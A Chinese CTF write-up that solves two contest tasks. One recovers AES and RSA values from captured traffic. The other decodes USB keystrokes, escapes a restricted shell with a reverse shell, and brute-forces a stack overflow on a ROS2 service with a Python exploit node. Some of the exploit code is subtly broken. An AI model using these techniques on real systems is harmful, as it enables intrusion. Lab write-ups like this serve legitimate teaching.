【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

WriteUp 3年前 (2022) admin
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神秘电波

约法X章

1.RTPS流量包分析
2.RSA和AES解密

致知力行

首先打开流量包,可以发现大量的TLS数据,但是没有发现什么有用的信息。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

使用WireShark的统计分析工具对此流量包进行统计,可以看到此流量中还充斥着大量的RTPS包。过滤出此协议的封包。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

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在流量中发现我们感兴趣的内容,即:

{"key""ZG3a44ipuXxUQsMD""mode""offboard"}

如果对数字敏感的话,可以推测这里其实就是RSA的标准密文三元组 (n,e,c),但是仅凭此三元组并不足以对其进行解密。那么我们保持此选中状态,改回时间排序,通过查阅上方的三个封包可以得到以下信息。

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{"key""QM+LQwfNhRIHXKkS""mode""onboard"}
76206628f39d28758f043c2e014664574df923446be578b22ed19782a98d83cf onboard
3028701244712289835084332263324003903562248750849387673673702233677338353757602651425535184296124891832944549673995130116198283557165829738446821940816673 65537 2316321136601071290571278358373369092106779834088698122021208036558112103589813128797337321161442043865451036052966147455929749010038563130242528643839891

附件里还有一些源码文件

  • XXXX_enc.py:这类文件使用了 pycryptor加密,密码(nJ3Ypqh61zkDxYHV)隐藏在了流量包中,需要提取所有 Onborad状态的 Key对其进行爆破
  • XXXX_decode.py:这类文件使用了强混淆,但是仍可以从函数名判断是使用了RSA加密

结合文件内容和流量,可以作出以下推测

第一部分 AES
PlainText : flag
Key : QM+LQwfNhRIHXKkS
Mode : CBC (Guess)
IV : Key (Guess)
CipherText : 0x76206628f39d28758f043c2e014664574df923446be578b22ed19782a98d83cf
第二部分 RSA
N : 3028701244712289835084332263324003903562248750849387673673702233677338353757602651425535184296124891832944549673995130116198283557165829738446821940816673
p :
0x76206628f39d28758f043c2e014664574df923446be578b22ed19782a98d83cf
q : N/p
e : 65537
p : flag
c : 2316321136601071290571278358373369092106779834088698122021208036558112103589813128797337321161442043865451036052966147455929749010038563130242528643839891

构造exp

from Crypto.Cipher import AES
import gmpy2
import math
import libnum
from Crypto.Util.number import * 
flag = ""
# AES Part
cipherText = bytes().fromhex('76206628f39d28758f043c2e014664574df923446be578b22ed19782a98d83cf')
key = 'QM+LQwfNhRIHXKkS'

bs = AES.block_size
assert len(cipherText) > bs
unpad = lambda s : s[0:-s[-1]]
cipher = AES.new(bytes(key, encoding='utf-8'), AES.MODE_CBC, bytes(key, encoding='utf-8'))
data  = unpad(cipher.decrypt(cipherText))
flag += data.decode()
print("AES Result : " + data.decode())
# RSA Part
n = 3028701244712289835084332263324003903562248750849387673673702233677338353757602651425535184296124891832944549673995130116198283557165829738446821940816673
p = 0x76206628f39d28758f043c2e014664574df923446be578b22ed19782a98d83cf
q = n // p
n = p * q
e = 65537
c = 2316321136601071290571278358373369092106779834088698122021208036558112103589813128797337321161442043865451036052966147455929749010038563130242528643839891
l = (p-1) * (q-1)
d = gmpy2.invert(e,l)
m = pow(c,d,n)
flag += long_to_bytes(m).decode().strip('n')
print("RSA Result : " + long_to_bytes(m).decode().strip('n'))
print("Final Flag : " + flag)



重要系统

约法X章

1.USB和ROS流量分析
2.攻击流量分析
3.栈溢出流量盲打

致知力行

首先使用 Tshark提取所有的 USB封包。

tshark -r important.pcap -T fields -e usb.capdata > importantUSB.txt

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

然后同目录下使用分析脚本进行内容还原,得到用户名和密码(player:guest):

normalKeys = {"04":"a""05":"b""06":"c""07":"d""08":"e""09":"f""0a":"g""0b":"h""0c":"i""0d":"j""0e":"k""0f":"l""10":"m""11":"n""12":"o""13":"p""14":"q""15":"r""16":"s""17":"t""18":"u""19":"v""1a":"w""1b":"x""1c":"y""1d":"z","1e":"1""1f":"2""20":"3""21":"4""22":"5""23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>""2b":"t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>""3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A""05":"B""06":"C""07":"D""08":"E""09":"F""0a":"G""0b":"H""0c":"I""0d":"J""0e":"K""0f":"L""10":"M""11":"N""12":"O""13":"P""14":"Q""15":"R""16":"S""17":"T""18":"U""19":"V""1a":"W""1b":"X""1c":"Y""1d":"Z","1e":"!""1f":"@""20":"#""21":"$""22":"%""23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>""2b":"t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>""3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('importantUSB.txt','r')
for line in keys:
    try:
        for i in range(0,len(line) + len(line)/2,3):
            line = line[:i+2] + ':' + line[i+2:]
        if line[0]!='0' or (line[1]!='0' and line[1]!='2'or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
            continue
        if line[6:8in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        if a!=0:
            del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

这个时候就可以启动题目的动态环境,登录ssh。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

发现靶机创建了一个临时目录并且提供了一个上传文件的时点,然后回车后,可以发现这里为我们提供了一个加载bash脚本的机会。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

此时大部分命令都被禁用了,不过题目一开始是可以执行一次bash的脚本的,所以我们可以通过执行的这个脚本反弹shell绕过受限的shell。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

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【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

查看进程看看有什么敏感的进程,发现了ros的服务。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

那么查看系统内存在的 ROS节点。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

那么接下来继续分析流量,过滤ROS流量,首先可以通过时序图看到频繁发包交互点。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

接下来继续向下看:

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

可以发现A的数量在逐渐增加,攻击者正在爆破溢出点,继续向下,可以发现从1913包开始A的数量恒定,攻击者正在爆破利用值。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

但是继续向下看可以发现攻击者的爆破思路是:

padding + char(i) + char(i)

这显然是不正确的,应当更正为:

padding + char(i) + char(j)

那么思路已经有了,需要选手编写一个 ROS Node向某个节点发送形如以上爆破结构的包,直到某个节点发送了带 flag的回复。但是还需要解决以下两个问题:

  • 某个节点到底是 /key_publisher还是 /core_server
  • 通讯协议是怎样的

首先解决第一个,其实根据名字就可以推断应该是向 /core_server发送数据,事实上选手可以通过编写节点试图向 keypulisher发送消息,会发现得到一个报错。

第二个,通过分析流量中的请求与回应,可以得到数据结构。

于是编写代码,为了方便可以先按https://docs.ros.org/en/galactic/Tutorials/Writing-A-Simple-Py-Service-And-Client.html所述进行ROS环境配置与Demo编写,同时由于题目使用了自定义类型,需要按https://docs.ros.org/en/galactic/Tutorials/Custom-ROS2-Interfaces.html也跑通。

完成了上一步的内容,我们应该可以得到核心文件:

import sys

from example_interfaces.srv import AddTwoInts
import rclpy
from rclpy.node import Node


class MinimalClientAsync(Node):

    def __init__(self):
        super().__init__('minimal_client_async')
        self.cli = self.create_client(AddTwoInts, 'add_two_ints')
        while not self.cli.wait_for_service(timeout_sec=1.0):
            self.get_logger().info('service not available, waiting again...')
        self.req = AddTwoInts.Request()

    def send_request(self):
        self.req.a = int(sys.argv[1])
        self.req.b = int(sys.argv[2])
        self.future = self.cli.call_async(self.req)


def main():
    rclpy.init()

    minimal_client = MinimalClientAsync()
    minimal_client.send_request()

    while rclpy.ok():
        rclpy.spin_once(minimal_client)
        if minimal_client.future.done():
            try:
                response = minimal_client.future.result()
            except Exception as e:
                minimal_client.get_logger().info(
                    'Service call failed %r' % (e,))
            else:
                minimal_client.get_logger().info(
                    'Result of add_two_ints: for %d + %d = %d' %
                    (minimal_client.req.a, minimal_client.req.b, response.sum))
            break

    minimal_client.destroy_node()
    rclpy.shutdown()


if __name__ == '__main__':
    main()

这里还有问题是,ROS2文档只给出了独立的客户端写法和订阅者写法,如何把他们整合在一起呢。这里需要先想清楚我们的逻辑。我们想要在接受一次来次发布者的信息之后使用客户端循环爆破。也就是主逻辑需要是客户端逻辑。那么只需要做以下更改:

把实例代码的
from example_interfaces.srv import AddTwoInts
改成
from tutorial_interfaces.srv import RepeatMessage

self.cli = self.create_client(AddTwoInts, 'add_two_ints')
也相应改成
self.cli = self.create_client(RepeatMessage, 'add_two_ints')

然后定义一个全局变量key用来存储分发的密钥,在MinimalClientAsync的__init__方法最后添加一个订阅器
self.subscription = self.create_subscription(String,'KeyInfrastructure',self.listenerCallback,10)
self.subscription  # prevent unused variable warning

在MinimalClientAsync添加回调方法
def listenerCallback(self, msg):
        global key
        key = json.loads(msg.data)["Key"]
    
send_request方法也要改一改,要发送的消息直接从参数传进去,不是从sys获取,key直接取全局变量。

最后得到的EXP为:

import sys

from tutorial_interfaces.srv import RepeatMessage
import rclpy,json
from rclpy.node import Node 
from std_msgs.msg import String

key = None

class MinimalClientAsync(Node):

    def __init__(self):
        super().__init__('exp_func')
        self.cli = self.create_client(RepeatMessage, 'repeatServer')
        while not self.cli.wait_for_service(timeout_sec=1.0):
            self.get_logger().info('service not available, waiting again...')
        self.req = RepeatMessage.Request()
        self.subscription = self.create_subscription(
            String,
            'KeyInfrastructure',
            self.listener_callback,
            10)
        self.subscription  # prevent unused variable warning
  
    def listener_callback(self, msg):
        global key
        msgDict = json.loads(msg.data)
        key = msgDict["Key"]
        self.get_logger().info('Key update!New Key is "%s"' % key)

    def send_request(self,message):
        self.req.key = key
        self.req.message = message
        self.future = self.cli.call_async(self.req)


def main():
    rclpy.init()
    minimal_client = MinimalClientAsync()
    for i,j in range(0,0xFF):
        rclpy.spin_once(minimal_client)
        if key == None:
            time.sleep(60)
        message = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + chr(i) + chr(j)
        minimal_client.send_request(message)
        flagget = False

        while rclpy.ok():
            rclpy.spin_once(minimal_client)
            if minimal_client.future.done():
                try:
                    response = minimal_client.future.result()
                except Exception as e:
                    minimal_client.get_logger().info('Service call failed %r' % (e,))
                else:
                    repeatmessage = response.repeatmessage
                    minimal_client.get_logger().info('Result of repeatServer: %s' % repeatmessage)
                    if "flag" in repeatmessage:
                        flagget = True
                break
        if flagget:
            break

    minimal_client.destroy_node()
    rclpy.shutdown()


if __name__ == '__main__':
    main()

使用ROS的方式编译 exp,在文件上传时点将 exp传入靶机:

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

运行以下命令启动 exp node

ros2 run exp client

由于要等待 /key_publisher发布新密钥才能使用此密钥向 Server发包,等待一会得到flag。

【WP】第二届“红明谷”杯数据安全大赛题目解析(三)

非预期

由于部署过程中,有一个文件记录了env的值,导致可以通过读取该文件直接获取flag。后续我们会避免这样的情况出现。



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【WP】第二届“红明谷”杯数据安全大赛题目解析(二)
【WP】第二届“红明谷”杯数据安全大赛题目解析(一)


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